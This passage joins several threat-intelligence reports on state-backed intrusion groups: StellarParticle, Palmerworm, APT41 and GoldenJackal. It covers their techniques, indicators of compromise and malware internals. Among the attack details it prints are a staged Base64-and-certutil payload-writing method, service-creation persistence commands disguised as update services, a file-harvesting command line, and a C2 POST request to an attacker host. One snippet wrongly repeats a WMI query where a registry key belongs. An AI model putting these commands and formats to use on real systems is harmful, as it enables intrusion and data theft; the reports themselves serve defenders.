that the threat actor performed in order to access the victim’s cloud resources. ## FTP Scanning/Identity Knowledge In one instance, after being evicted from a victim environment, the threat actor began probing external services as a means to regain access, initially focusing on (S)FTP servers that were internet-accessible. Logs on the servers indicated that the threat actor attempted to log in with multiple valid accounts and in several cases was successful. There was little to no activity during the (S)FTP sessions. This likely was an exercise in attempting to identify misconfigured (S)FTP accounts that also had shell access, similar to what’s described in the Credential Hopping section earlier. Some of the accounts used were not in the victim’s Active Directory, as these were accounts for customers of the victim and stored in a separate LDAP database. However, the threat actor had knowledge of these accounts and used them on the correct systems, which further confirmed that the threat actor had advanced knowledge of the victim’s environment. After confirming the FTP accounts did not provide shell access into the environment, the threat actor began attempting to connect into the environment via VPN. The threat actor attempted to log in to the VPN using several user accounts but was prevented from connecting, either due to not having the correct password, or due to having the correct password but not getting past the recently implemented MFA requirement. Eventually, the threat actor attempted an account that they had the correct password for but that had not been set up with MFA. This resulted in a prompt being displayed to the threat actor that included an MFA setup link. The threat actor subsequently set up MFA for the account and successfully connected to the victim’s network via VPN. ## TA Masquerading of System Names During the attempted and successful VPN authentications described above, the threat actor ensured the hostname of their system matched the naming convention of hostnames in the victim’s environment. This again showed a strong knowledge of the victim’s internal environment on the part of the threat actor. Not only did the masqueraded hostnames follow the correct naming convention from a broad perspective, they were also valid in terms of what would be expected for the user account the threat actor leveraged (i.e., in terms of the site name and asset type indicated in the hostname). This masqueraded hostname technique has been observed at multiple StellarParticle-related investigations. ## Credential Theft Using Get-ADReplAccount In one example, the threat actor connected into the victim’s environment via a VPN endpoint that did not have MFA enabled. Once connected to the VPN, the threat actor connected via Remote Desktop to a Domain Controller and copied the DSInternals PowerShell module to the system. The threat actor subsequently ran the DSInternals command Get-ADReplAccount targeting two of the victim’s domains. This command uses the Microsoft Directory Replication Service (MS-DRSR) protocol and specifically the IDL_DRSGetNCChanges method to return account information from Active Directory such as the current NTLM password hashes and previous password hashes used for enforcing password reuse restrictions. A common name for this particular technique is DCSync. When executing the Get-ADReplAccount command, the threat actor specified the AD context to be targeted via the NamingContext parameter. This was necessary, as the threat actor was targeting multiple domains. The resulting output of each command was redirected to a text file and compressed as zip archives before exfiltration. The fact that Get-ADReplAccount command includes not only the current NTLM hashes but also the hash history (i.e., hashes of previous passwords used by a user account) meant that the threat actor also had the ability to discover accounts that either reused the same passwords or used similar passwords when the account password was changed. ## Credential Refresh On some investigations, the dwell time of the threat actor spanned years. Given this extended period, it is logical to assume that some credentials obtained by the threat actor would be rotated during normal business operations. To combat this, the threat actor periodically “refreshed” their credential set by performing credential theft activities in an already compromised environment. At one victim, CrowdStrike identified multiple instances of domain credential theft months apart, each time with a different credential theft technique. One of the credential theft techniques identified by CrowdStrike was the use of a PowerShell script to execute Mimikatz in-memory. While in-memory Mimikatz is not particularly unique, the script executed by the threat actor was heavily obfuscated and encrypted the output using AES256. CrowdStrike was able to reconstruct the PowerShell script from the PowerShell Operational event log as the script’s execution was logged automatically due to the use of specific keywords. CrowdStrike recommends that organizations upgrade PowerShell on their systems, as this functionality is only available with PowerShell version 5 and above. In addition to refreshing the threat actor’s credentials, the threat actor would also refresh their understanding of the victim’s AD environment. Around the time when the threat actor executed Get-ADReplAccount, the threat actor also executed a renamed version of AdFind to output domain reconnaissance information. In this instance, AdFind was renamed to masquerade as a legitimate Windows binary. The usage of renamed AdFind is consistent with other industry reporting on this campaign. In addition to using scripted commands, operators were repeatedly observed manually executing several standard PowerShell cmdlets to enumerate network information from AD, including Get-ADUser and Get-ADGroupMember to query specific members in the directory. This information provided the adversary with a list of accounts possessing particular privileges — in this case, the ability to make VPN connections — that would be subject to later credential stealing attempts and leveraged to access the victim at a later time. ## Password Policies/Hygiene In some cases, the threat actor was able to quickly return to the environment and essentially pick up where they left off, even though the organization had performed an enterprise-wide password reset, including a reset of all service accounts and the double-reset of the krbtgt account. CrowdStrike determined that in these cases, administrative users had “reset” their own password to the same password they previously used, essentially nullifying the impact of the enterprise-wide reset. This was possible even though the customer’s Active Directory was configured to require new passwords to be different from the previous five passwords for a given account. Unfortunately, this check only applies when a user is changing their password via the “password change” method — but if a “password reset” is performed (changing the password without knowing the previous password), this check is bypassed for an administrative user or a Windows account that has the Reset Password permission on a user’s account object. Since the Get-ADReplAccount cmdlet described above included the NTHashHistory values (i.e., previous password hashes) for user accounts, CrowdStrike was able to verify that some administrative accounts indeed had the exact same password hash showing up multiple times in the password history, as well as in the current NTHash value. ## Close Out The StellarParticle campaign, associated with the COZY BEAR adversary group, demonstrates this threat actor’s extensive knowledge of Windows and Linux operating systems, Microsoft Azure, O365, and Active Directory, and their patience and covert skill set to stay undetected for months — and in some cases, years. A special thank you to the CrowdStrike Incident Response and CrowdStrike Intelligence teams for helping make this blog possible, especially Ryan McCombs, Ian Barton, Patrick Bennet, Alex Parsons, Christopher Romano, Jackson Roussin and Tom Goldsmith.
# Palmerworm: Espionage Gang Targets the Media, Finance, and Other Sectors Companies in Japan, Taiwan, U.S., and China among victims. The Threat Hunter Team at Symantec, a division of Broadcom (NASDAQ: AVGO), has uncovered a new espionage campaign carried out by the Palmerworm group (aka BlackTech) involving a brand new suite of custom malware, targeting organizations in Japan, Taiwan, the U.S., and China. The attacks occurred in 2019 and continued into 2020, targeting organizations in the media, construction, engineering, electronics, and finance sectors. We observed the group using previously unseen malware in these attacks. Palmerworm uses a combination of custom malware, dual-use tools, and living-off-the-land tactics in this campaign. Palmerworm has been active since at least 2013, with the first activity seen in this campaign in August 2019. ## Tactics, Tools, and Procedures Palmerworm was observed using both dual-use tools and custom malware in these attacks. Among the custom malware families we saw it use were: - Backdoor.Consock - Backdoor.Waship - Backdoor.Dalwit - Backdoor.Nomri We have not observed the group using these malware families in previous attacks – they may be newly developed tools, or the evolution of older Palmerworm tools. Malware used by Palmerworm in the past has included: - Backdoor.Kivars - Backdoor.Pled While the custom malware used by the group in this campaign is previously undocumented, other elements of the attack bear similarities to past Palmerworm campaigns, making us reasonably confident that it is the same group carrying out this campaign. As well as the four backdoors mentioned, we also see the group using a custom loader and a network reconnaissance tool, which Symantec detects as Trojan Horse and Hacktool. The group also used several dual-use tools, including: - **Putty** – can be leveraged by attackers for remote access, to exfiltrate data and send it back to attackers - **PSExec** – is a legitimate Microsoft tool that can be exploited by malicious actors and used for lateral movement across victim networks - **SNScan** – this tool can be used for network reconnaissance, to find other potential targets on victim networks - **WinRAR** – is an archiving tool that can be used to compress files (potentially to make them easier to send back to attackers) and also to extract files from zipped folders All these dual-use tools are commonly exploited by malicious actors like Palmerworm, with advanced persistent threat (APT) groups like this increasingly using living-off-the-land tactics, including the use of dual-use tools, in recent years. These tools provide attackers with a good degree of access to victim systems without the need to create complicated custom malware that can more easily be linked back to a specific group. In this campaign, Palmerworm is also using stolen code-signing certificates to sign its payloads, which makes the payloads appear more legitimate and therefore more difficult for security software to detect. Palmerworm has been publicly documented using stolen code-signing certificates in previous attack campaigns. We did not see what infection vector Palmerworm used to gain initial access to victim networks in this campaign; however, in the past, the group has been documented as using spear-phishing emails to gain access to victim networks. ## Victims Symantec identified multiple victims in this campaign, in a number of industries, including media, construction, engineering, electronics, and finance. The media, electronics, and finance companies were all based in Taiwan, the engineering company was based in Japan, and the construction company in China. It is evident Palmerworm has a strong interest in companies in this region of East Asia. We also observed Palmerworm activity on some victims in the U.S.; however, we were unable to identify the sector of the companies targeted. Palmerworm activity was first spotted in this campaign in August 2019, when activity was seen on the network of a Taiwanese media company and a construction company in China. The group remained active on the network of the media company for a year, with activity on some machines there seen as recently as August 2020. Palmerworm also maintained a presence on the networks of a construction and a finance company for several months. However, it spent only a couple of days on the network of a Japanese engineering company in September 2019, and a couple of weeks on the network of an electronics company in March 2020. It spent approximately six months on one of the U.S.-based machines on which we observed activity. The finance, media, and construction industries, then, appear to be of the biggest interest to Palmerworm in this campaign. There have been reports previously of Palmerworm targeting the media sector. ## What do the attackers want? While we cannot see what Palmerworm is exfiltrating from these victims, the group is considered an espionage group and its likely motivation is considered to be stealing information from targeted companies. ## How do we know this is Palmerworm? While the custom malware used in this attack is not malware we have seen used by Palmerworm before, some of the samples identified in this research are detected by other vendors as PLEAD, which is a known Palmerworm (aka Blacktech) malware family. We also saw the use of infrastructure that has previously been attributed to Palmerworm. The group’s use of dual-use tools has also been seen in previous campaigns identified as being carried out by Palmerworm, while the location of its victims is also typical of the geography targeted by Palmerworm in past campaigns. The group’s use of stolen code-signing certificates has also been observed in previous Palmerworm attacks. These various factors make us reasonably confident we can attribute this activity to Palmerworm. Symantec does not attribute Palmerworm’s activity to any specific geography; however, Taiwanese officials have stated publicly that they believe Blacktech, which we track as Palmerworm, is backed by the Chinese government. ## Conclusion APT groups continue to be highly active in 2020, with their use of dual-use tools and living-off-the-land tactics making their activity ever harder to detect, and underlining the need for customers to have a comprehensive security solution in place that can detect this kind of activity. ## Protection The following protections are in place to protect customers against Palmerworm activity: - Backdoor.Consock - Backdoor.Waship - Backdoor.Dalwit - Backdoor.Nomri - Backdoor.Kivars - Backdoor.Pled - Hacktool - Trojan Horse ## Indicators of Compromise - 28ca0c218e14041b9f32a0b9a17d6ee5804e4ff52e9ef228a1f0f8b00ba24c11 - 3277e3f370319f667170fc7333fc5e081a0a87cb85b928219b3b3caf7f1e549c - 35bd3c96abbf9e4da9f7a4433d72f90bfe230e3e897a7aaf6f3d54e9ff66a05a - 485d5af4ad86e9241abd824df7b3f7d658b1b77c7dcc3c9b74bfe1ddc074c87d - 4c05ee584530fd9622b9e3be555c9132fad961848ea215ecb0dd9430df7e4ed8 - 50ba9a2235b9b67e16e6bd26ae042a958d065eb2c5273f07eee20ec86c58a653 - 5818bfe75d73a92eb775fae3b876086a9e70e1e677b7c162b49fb8c1cc996788 - 5a35672f293f8f586fa9cfac0b09c2c52a85d4e8bc77b1ed4d7c16c58fe97a81 - 69d60562a8d69500e8cb47a48293894385743716e2214fd4e81682ab6ed1c46b - 6d40c289a154142cdd5298e345bcea30b13f26b9eddfe2d9634e71e1fb935fbe - 6f97022782d63c6cea53ad151c5b7e764e62533d8257e439033c0307437bfb2a - 73799d67d32a2b5554c39330e81e7c8069feaa56520e22a7fd0a52e8857c510c - 81a4b84700b5f4770b11a5fe30a8df42e5579fd622fd54143b3d2578df4b559d - 884cefccd5b3c3a219a176c0c614834b5b6676abbac1d1c98f39624fccc71bf9 - 8cd6dfffc251f9571f7a82cca2eca09914c950f3b96aaaeaeaaeeac342f9b550 - 8da532ea294cc2c99e02ce8513a15b108a7c49bd90f7001ce6148955304733cb - 9c436db49b27bed20b42157b50d8bdad414b12f01e2127718250565017a08d84 - 9e3ecda0f8e23116e1e8f2853cf07837dd5bc0e2e4a70d927b37cfe4f6e69431 - a7f3b8afb963528b4821b6151d259cf05ae970bc4400b805f7713bd8a0902a42 - aa51b69d05741144d139b422c3b90fdf6d7d5a36dd6c7090c226a0fc155ada34 - b32ab70f3f441a775771d6c824d4526715460c0fd72a1dfdec8cd531aef5fabd - d4d5c73c40f50cdef1500fca8329bc8f3f05f6e2ffda9c8feb9be1dcca6ccd31 - eed2ab9f2c09e47c7689204ad7f91e5aef3cb25a41ea524004a48bb7dc59f969 - f11e2146b4b7da69112f4681daca0c5ec18917acc4cf4f78d8bff7ac0b53e15c - f21601686a2af1a312e0f99effa2c2755f872b693534dbe14f034fa23587ac0b ## Additional Indicators of Compromise - asiainfo.hpcloudnews.com - loop.microsoftmse.com - 103.40.112.228 - 172.104.92.110 - 45.76.218.116 - 45.77.181.203 ## About the Author **Threat Hunter Team** Symantec The Threat Hunter Team is a group of security experts within Symantec whose mission is to investigate targeted attacks, drive enhanced protection in Symantec products, and offer analysis that helps customers respond to attacks.
# APT41 World Tour 2021 **4 malicious campaigns, 13 confirmed victims, and a new wave of Cobalt Strike infections** **Nikita Rostovtsev** **Threat Analyst at the Advanced Persistent Threat Research Team, Group-IB** In March 2022, one of the oldest state-sponsored hacker groups, APT41, breached government networks in six US states, including by exploiting a vulnerability in a livestock management system, Mandiant investigators have reported. Throughout 2021, we closely watched APT41’s activity using our system called Group-IB Threat Intelligence, which is continuously enriched with indicators of compromise (IOCs) and new rules for hunting hacker groups and threat actors. Our efforts have resulted in about 80 proactive notifications to private and government organizations worldwide regarding APT41 attacks (both in progress and completed) against their infrastructures so that the organizations could take the necessary steps to protect themselves or search for traces of compromise in their networks. The data about the tactics, techniques, and procedures (TTPs) used by the attackers that we collected helped us attribute the group’s other attacks. Using this data, we identified the threat actors’ “work” schedule, which makes it possible to describe their origin in more detail. In this blog post, we share our findings and describe the main methods, tactics, and tools used by one of the most dangerous threat groups out there, APT41, in 2021. This blog post, which was written to bring together existing knowledge according to the MITRE ATT&CK (Adversarial Tactics, Techniques & Common Knowledge) framework, details how the hackers conducted reconnaissance, gained initial access, ensured persistence, and moved across the network, as well as what they were looking for on the compromised devices. In addition, we share interesting findings such as the “work” schedule and working days of the attackers, together with artifacts they left behind. The first thing we want to mention is that APT41 used an unusual method of creating payloads on target servers, which involves writing an encoded payload in the form of a Cobalt Strike Beacon to a file in multiple stages. To search for and exploit vulnerabilities, the group uses popular tools such as Acunetix, Nmap, JexBoss, sqlmap, and fofa.su (a Chinese equivalent of Shodan). Interestingly, according to sqlmap logs, the threat actors breached only half of the websites they were interested in. This suggests that even hackers like APT41 do not always go out of their way to ensure that a breach is successful. This blog post also uncovers subnets from which the threat actors connected to their C&C servers, which is further evidence confirming the threat’s country of origin. For the first time, we were able to identify the group’s working hours in 2021, which are similar to regular office business hours. IT directors, heads of cybersecurity teams, SOC analysts, and incident response specialists are likely to find this material useful. Our goal is to reduce financial losses and infrastructure downtime as well as to help take preventive measures to fend off APT41 attacks. In the conclusion section, we give advice on how to identify the group’s infrastructure and protect yours. Let us hunt together for the threats and contribute to the fight against cybercrime — a mission worthy of a superhero. ## Who are APT41? - A state-sponsored group whose goals include cyber espionage and financial gain - Active since at least 2007 - Also known as BARIUM, Winnti, LEAD, WICKED SPIDER, WICKED PANDA, Blackfly, Suckfly, Winnti Umbrella, Double Dragon Some of the group’s members were indicted by the US Department of Justice in 2020; charges against them include unauthorized access to protected computers, aggravated identity theft, money laundering, and wire fraud. ## Key findings We estimate that in 2021 APT41 compromised and gained various levels of access to at least 13 organizations worldwide. The group’s targets include government and private organizations based in the US, Taiwan, India, Thailand, China, Hong Kong, Mongolia, Indonesia, Vietnam, Bangladesh, Ireland, Brunei, and the UK. In the campaigns that we analyzed, APT41 targeted the following industries: the government sector, manufacturing, healthcare, logistics, hospitality, finance, education, telecommunications, consulting, sports, media, and travel. The targets also included a political group, military organizations, and airlines. To conduct reconnaissance, the threat actors use tools such as Acunetix, Nmap, Sqlmap, OneForAll, subdomain3, subDomainsBrute, and Sublist3r. As an initial vector, the group uses web applications vulnerable to SQL injection attacks. By performing SQL injections, APT41 gains access to the command shell of a targeted server and becomes able to execute commands. We estimate that in 2021 APT41 detected and exploited SQL injection opportunities in 43 out of 86 web applications that they probed. The main tool used in their campaigns is a custom Cobalt Strike Beacon. APT41’s “working” days are Monday to Friday. They usually start at 10 AM and finish around 7 PM (UTC+8). ## Attack geography and target industries First, we will list all the countries and industries that came to our attention in 2021. Over this period, APT41 conducted at least four malicious campaigns, which we named based on the domain names used in the attacks: ColunmTK, DelayLinkTK, Mute-Pond, and Gentle-Voice. The targets in these campaigns were organizations in the US, Taiwan, India, China, Thailand, Hong Kong, Mongolia, Indonesia, Vietnam, Bangladesh, Ireland, Brunei, and the UK: - News agencies, government organizations, a major electronics manufacturer, and a logistics company in Taiwan - A software developer and several companies that own a chain of hotels in the US - A financial organization and an educational entity in Vietnam - A news agency and a software developer in China - An Indian airline ## TTPs This section describes APT41’s tactics, techniques, and procedures that came to the attention of Group-IB’s Threat Intelligence team in 2021. ### Reconnaissance The first stage of any attack is reconnaissance, as part of which threat actors use a wide range of techniques to collect data about the target organization. They can be divided into two categories: active and passive scanning. Below is a list of tools used by APT41 from both categories: **Active scanning. T.1595:** - Acunetix vulnerability scanner - Nmap network scanner - Utilities for brute-forcing directories on web servers: OneForAll, subdomain3, subDomainsBrute, Sublist3r - JexBoss, a tool for searching for and exploiting vulnerabilities in JBoss and other Java applications **Passive scanning. Search Open Technical Databases: Scan Databases T1596.005:** - fofa.su (a Chinese equivalent of shodan.io) scans the Internet and collects information about open ports and services running on them, which enables attackers to determine their targets and conduct attacks more effectively. ### Initial Access **Exploit public-facing application - T1190** A major question for an investigator is how the attackers penetrated the target system. At the penetration stage, APT41 threat actors used various techniques, including spear-phishing emails, exploiting a range of vulnerabilities (including Proxylogon), and watering hole and supply chain attacks. In the campaigns we analyzed, in some cases, the threat actors penetrated target systems using SQL injections. Below we describe the commands used by APT41 in detail. Such attacks were carried out with the publicly available tool SQLmap, which the attackers used for multiple purposes. In some organizations, APT41 members gained access to the command shell of a target server and were able to execute certain commands. The group also used this tool to upload files to the target server. At this stage, the files were either Cobalt Strike Beacons or custom web shells. In other cases, the threat actors gained access to databases with information about existing accounts, lists of employees, and plaintext and hashed passwords. Nevertheless, the main tool that the attackers used in their campaigns was Cobalt Strike Beacon. ### Execution **Windows Command Shell - T1059.003 Command and Scripting Interpreter** At this stage of the attack, in order to upload malicious code to target devices and execute it, the threat actors chose the following unique method: 1. Once the payload is compiled, it is encoded in Base64. 2. The encoded payload is divided into chunks of 775 characters and added to a text file using the following command: `Echo [Base64]{775} >> C:\dns.txt` 3. Once the encoded payload has been written to a file, the utility called certutil with the parameter —decode is launched. The utility converts the Base64-encoded payload into an .exe file. Certutil is a built-in tool in Windows systems. 4. After the file is decoded, the attackers launch certutil again, with the parameter —hashfile. This parameter is necessary to obtain the hash of the resulting file. This action has to do with the fact that the attackers conduct each iteration manually and could make a mistake at a certain point. Checking the file hash helps ensure that the data has been written correctly and that the payload has been decoded without any errors. 5. The file is then renamed and sent to other directories to cover any tracks, after which the attackers launch it. They used Cobalt Strike Beacon as a payload. In one of the observed cases, in order to write the entire payload to a file, the threat actors needed to repeat this action 154 times. ### Persistence To ensure persistence in target systems, the attackers used Task Scheduler and created Windows services. **Scheduled Task/Job: At (Windows) - T1053.002** The hackers created scheduled tasks to maintain access to the compromised systems. ### Privilege Escalation Our analysis did not reveal any instances of APT41 using unique ways of escalating privileges in the network. In addition to the standard capabilities of Cobalt Strike, for such purposes, APT41 mainly used additional modules and publicly available tools for local privilege escalation (such as BadPotato). ### Defense Evasion **Obfuscated Files or Information: Software Packing - T1027.002** Being discreet and staying in the victim's network unnoticed for as long as possible is the goal of any APT. How did APT41 members try to avoid being noticed and cover their tracks? The threat actors used the well-known protection tool Themida to obfuscate their malicious files. ### Credential Access This section outlines how the threat actors obtained credentials. To do so, APT41 uses several different, fairly popular techniques. **OS Credential Dumping: NTDS - T1003.003** The Group-IB Threat Intelligence team discovered that 2021 APT41 campaigns most often involved a Windows utility called Ntdsutil. The attackers used the tool to obtain a copy of the ntds.dit file, which is a database that stores Active Directory data, including information about user objects, groups, and group membership. ### Discovery Threat actors usually use this stage to obtain more information about the infected computer and its local network. At this point, cybercriminals most often leverage the tools built into the operating system. ### Lateral Movement To move laterally, the threat actors used credentials gathered at the previous stage. If they only had password hashes, they carried out Pass-The-Hash attacks using Mimikatz. ### Collection To collect data, APT41 downloaded a portable archiver file to compromised devices. The group archived the necessary files and exfiltrated them to their intermediate server. ### Command and Control As mentioned above, most APT41 attacks were conducted using Cobalt Strike. The group used HTTP and HTTPS listeners to communicate with C&C servers. ### Exfiltration At the exfiltration stage, APT41 gained access to various server configurations, backup data, and user data. The group most likely did not exfiltrate a large amount of confidential documents. ## Conclusion For a long time, security researchers believed that hacked legitimate pentesting and red teaming tools, which are widely used by hacker groups, make threat hunting and attribution more difficult. Among such tools, Cobalt Strike stands out. In the past, the tool was appreciated by cybercriminal gangs targeting banks, while today it is popular among various threat actors regardless of their motivation, including infamous ransomware operators. That is why it is essential to proactively discover servers running this framework and to attribute those servers to specific threat actors. It is a crucial task for all cybersecurity teams that want to prevent attacks. In this blog post, we shared examples of identifying and correlating Cobalt Strike with campaigns conducted by the state-sponsored group APT41. Thanks to our proprietary Group-IB Threat Intelligence system, which detects and attributes such attacks automatically, our clients are the first to be informed about cyberthreats, including all the relevant indicators of compromise and TTPs. They are also the first to obtain the names of compromised organizations, which helps them avoid supply-chain attacks and make their network infrastructure more secure. In line with Group-IB's mission of fighting cybercrime, we will continue to explore the methods, tools, and tactics used by one of the oldest and still dangerous groups, APT41. We will also continue to inform and warn targeted organizations worldwide. We always strive to ensure that organizations under attack are notified as quickly as possible to help reduce potential damage. We also consider it our responsibility to share our findings with the cybersecurity community and encourage researchers to study advanced threats, share data, and use our technologies to combat cybercrime — together.
# Meet the GoldenJackal APT Group GoldenJackal is an APT group, active since 2019, that usually targets government and diplomatic entities in the Middle East and South Asia. Despite the fact that they began their activities years ago, this group is generally unknown and, as far as we know, has not been publicly described. We started monitoring the group in mid-2020 and have observed a constant level of activity that indicates a capable and stealthy actor. The main feature of this group is a specific toolset of .NET malware: JackalControl, JackalWorm, JackalSteal, JackalPerInfo, and JackalScreenWatcher intended to: - control victim machines - spread across systems using removable drives - exfiltrate certain files from the infected system - steal credentials - collect information about the local system - collect information about users’ web activities - take screen captures of the desktop Based on their toolset and the attacker’s behavior, we believe the actor’s primary motivation is espionage. ## Infection Vectors We have limited visibility on their infection vectors, but during our investigations, we observed the usage of fake Skype installers and malicious Word documents. The fake Skype installer was a .NET executable file named `skype32.exe` that was approximately 400 MB in size. It was a dropper containing two resources: the JackalControl Trojan and a legitimate Skype for business standalone installer. This tool was used in 2020. The other known infection vector was a malicious document that uses the remote template injection technique to download a malicious HTML page, which exploits the Follina vulnerability. ### Malicious Document – First Page The document was named “Gallery of Officers Who Have Received National And Foreign Awards.docx” and appears as a legitimate circular distributed to collect information about officers decorated by Pakistan’s government. It’s worth noting that the first description of the Follina vulnerability was published on May 29, 2022, and this document appears to have been modified on June 1, two days after publication, and was first detected on June 2. The document was configured to load an external object from a legitimate and compromised website. ### Code Snippet Used to Load the Remote Resource The remote webpage is a modified version of a public “Proof of Concept” to exploit the Follina vulnerability. The original PoC is available on GitHub. The attacker replaced the IT_BrowseForFile variable value with the following: ### Code Snippet Used to Exploit the Follina Vulnerability The decoded string is: The exploit downloads and executes an executable file hosted on the legitimate compromised website and stores it in the following path: `%Temp%\GoogleUpdateSetup.exe`. The downloaded file is the JackalControl malware. In other cases, we do not have a real infection vector, but we observed a system compromised during lateral movements. Specifically, we observed the attacker using the psexec utility to start a malicious batch script. ``` cmd /c "c:\windows\temp\install.bat > c:\windows\temp\output.txt" ``` The batch script performs a variety of actions, such as installing Microsoft .Net Framework 4, infecting the system with the JackalControl Trojan, and collecting information about the system. ### JackalControl This is a Trojan that allows the attackers to remotely control the target machine through a set of predefined and supported commands. These are received via an HTTPS communication channel facilitated between the malware and the C2 servers, and can instruct the implant to conduct any of the following operations: - Execute an arbitrary program with provided arguments - Download arbitrary files to the local file system - Upload arbitrary files from the local file system During the last few years, the attackers updated this tool multiple times and we observed multiple variants. We are going to describe the latest version, which was observed in January 2023 (8C1070F188AE87FBA1148A3D791F2523). The Trojan is an executable file that can be started as a standard program or as a Windows service. It expects an argument, which can be equal to one of the following values: - `/0`: run as a standard program and contacts the C2 servers only once - `/1`: run as a standard program and contacts the C2 servers periodically - `/2`: run as a Windows service The malware arguments and the related malware behavior change according to the variants. Some variants offer only two arguments: - `/0`: run as a standard program - `/1`: run as a Windows service Other variants can install themselves with different persistence mechanisms. The malware’s execution flow is determined by the arguments provided in the command line with which it is run. - `/h0`: will cause the malware to gain persistence by creating a Windows scheduled task. - `/h1`: will cause the malware to gain persistence by creating a corresponding registry run key. - `/h2`: will cause the malware to gain persistence by creating a Windows service. - `/r0`: run as standard process (this argument is specified by the Windows scheduled task). - `/r1`: run as standard process (this argument is specified by the generated registry run key value). - `/r2`: run as a service (this argument is specified by the created Windows service). Over the years, the attackers have distributed different variants: some include code to maintain persistence, others were configured to run without infecting the system; and the infection procedure is usually performed by other components, such as the batch script mentioned above. The malware starts its activities by generating a BOT_ID that is a unique value used to identify the compromised system. This value is derived from several other host-based values: - The UUID value obtained from the following WMI query: ``` select * from win32_computersystemproduct ``` - The machine GUID obtained from the following registry key: ``` select * from win32_computersystemproduct ``` - The list of attached drives, obtained from another WMI query, which in turn allows them to determine the ‘SerialNumber’ of ‘PHYSICALDRIVE0’: ``` select * from win32_diskdrive ``` The collected information is concatenated together in a byte array and then hashed with MD5, which is used as a seed for the creation of the BOT_ID. The algorithm used for the generation of the latter simply sums every two consecutive bytes from the resulting MD5 hash and places the resulting byte (modulus 256) as a single byte of the final BOT_ID. ### Code Snippet Used to Generate the BOT_ID The resulting BOT_ID is used also to initialize the DES key and IV, which are then used to encrypt communication with the C2. The malware communicates using HTTP POST requests where data arguments will be carried in encoded form as part of the request’s body. The overall request structure will then appear as follows: ``` POST /wp-includes/class-wp-network-statistics.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Content-Type: multipart/form-data; boundary=--- Accept-Language: en-GB,en;q=0.5 Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0, no-cache Pragma: no-cache Host: finasteridehair[.]com Content-Length: 154 Expect: 100-continue ``` A valid response should in turn be formed in the following way: ``` <!-- DEBUGDATA::%ENCODED_DATA% --> ``` The response is decoded with base64: the resulting payload is an array of strings, where the used delimiter is the standard Windows new line sequence – “\r\n”. Each line is decoded again with base64, decrypted with DES, and decompressed with the GZIP algorithm. ### Command Structure The command type must be equal to one of the following codes: | Command | Description | |---------|-------------| | 00 | Execute – Execute an arbitrary program with the specified arguments. If the attacker sets the NoWait flag to False, the malware redirects the process output, reads the data and forwards them to the C2. | | 01 | Download – Read a file from the local system and upload it to the server. | | 02 | Upload – Save received data to the local system using the filepath specified by the attacker. | The Command Data field is intended to carry information on the command arguments and has a different structure for each action type. The command results are usually composed into a message that also includes the values of the underlying command type and command ID, which uniquely identifies an instance of a command issued to the malware. The three values are compressed with GZIP, encrypted with DES, and encoded with base64. The resulting payload is concatenated with the BOT_ID using the “|” char, encoded again with base64, after which it gets uploaded to the remote server using the aforementioned POST request format. ### Installer Mode Some variants can infect the system, creating a copy of the malware in a specific location and guaranteeing its persistence. The malware location is selected with a specific procedure. It enumerates all subdirectories in CommonApplicationData and randomly selects one to which its copy will be saved. The generated file name will be suffixed with the subdirectory’s names and appended with another static value, `Launcher.exe`. If the operation succeeds, it also changes the new file timestamp and makes it the same as that of the selected subdirectory. If the operation fails, it randomly selects another directory and tries again to copy the malware. If the operation fails with all subdirectories, it tries to use a list of hard-coded directory names: - Google - Viber - AdGuard - WinZip - WinRAR - Adobe - CyberLink - Intel If all the previous attempts fail, it tries to use the same procedure in the following locations: - ApplicationData - LocalApplicationData - Temp ### Persistence The malware’s persistence is usually guaranteed with one of the following mechanisms: - Service installation - Creation of a new Windows registry key value - Creation of a new scheduled task. The service is usually installed by the malware with the execution of the Windows `sc.exe` utility. ``` sc create "[MALWARE_NAME_NO_EXT]" binpath= "[MALWARE_FULL_PATH]" /[ARGUMENT]" displayname= "WORKPATH" type= own start= auto sc description "[MALWARE_NAME_NO_EXT]" "This service keeps your installation up to date with the latest enhancements and security fixes." sc start "[MALWARE_NAME_NO_EXT]" ``` The registry value is equal to the copied malware file name, without the extension, and is stored under the following key: ``` Key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Value name: "[MALWARE_NAME_NO_EXT]" Value data: "[MALWARE_FULL_PATH] [ARGUMENT]" ``` The scheduled task is created using a hard-coded XML template that is modified at runtime and dropped in the file system using the same malware file path, but with a different extension, `.xml` instead of `.exe`. The generated XML file is then used with the Windows `schtasks.exe` utility to create the task. ### JackalSteal JackalSteal is another implant usually deployed on a few compromised machines that is used to find files of interest on the target’s system and exfiltrate them to the C2 server. This tool can be used to monitor removable USB drives, remote shares, and all logical drives in the targeted system. The malware can work as a standard process or as a service. It cannot maintain persistence, so it must be installed by another component. JackalSteal starts its execution by parsing the arguments. | Option | Description | |--------|-------------| | -n | a unique identifier value for the configured profile | | -p | directory path to inspect | | -s | maximum size of requested files | | -d | number of days since the last write of the requested files | | -m | a comma-separated list of string masks to look for using a regular expression within the configured directory | | -w | time interval in seconds between consecutive directory scans for the configured profile | | -e | exclude path from the scanning activities | | /0 | run as standard process | | /1 | run as a service | These options allow the attacker to specify the ‘profile’, which defines what files are of interest to the attackers. The profile consists of an ID and a list of patterns. Each pattern contains a list of options with the following properties: | Property | Description | |--------------|-------------| | Path | target paths | | credentials | user and password used to access a remote share | | Masks | string with wildcard and mask characters that can be used to match any set of files using a regular expression | | MaxSize | maximum size of a file | | Days | the number of days since the file was last written | | Interval | the time interval between two consecutive path scans | | Exclude | paths that must be excluded during scanning activities | The command used to configure the JackalSteal component is as follows: ``` %TEMP%\\setup01.exe -p all -p usb -e Windows -e "Program Files*" -e ProgramData -e Users\\*\\AppData -e *\\AppData -s 15 -d 30 -w 3600 -m *.doc,*.docx,*.pdf,*.jpg,*.png,*.tif,*.tiff,*.txt,*.ppt,*.pptx,*.xls,*.xlsx -n 48df302a44c392eb ``` The unique identifier “–n” is usually the same BOT_ID generated by the JackalControl Trojan. After argument processing, the malware serializes the data in an XML, encrypts them with DES using a key generated from the ID passed with the “-n” option and stores the resulting payload in the following location: `%ApplicationData%\SNMP\cache\%Filename%`, where `%Filename%` is a GUID generated from an MD5 of the unique identifier specified by the attacker. The malware is usually executed with the “/0” or “/1” option and the “-n” option, which is used to load the obtained profile ID. In the second case, it loads the profile from the previously mentioned location and it starts the ‘Watchers’. A Watcher is an object defined in a class with the same name that runs in a different thread and scans the location according to the specified options. The 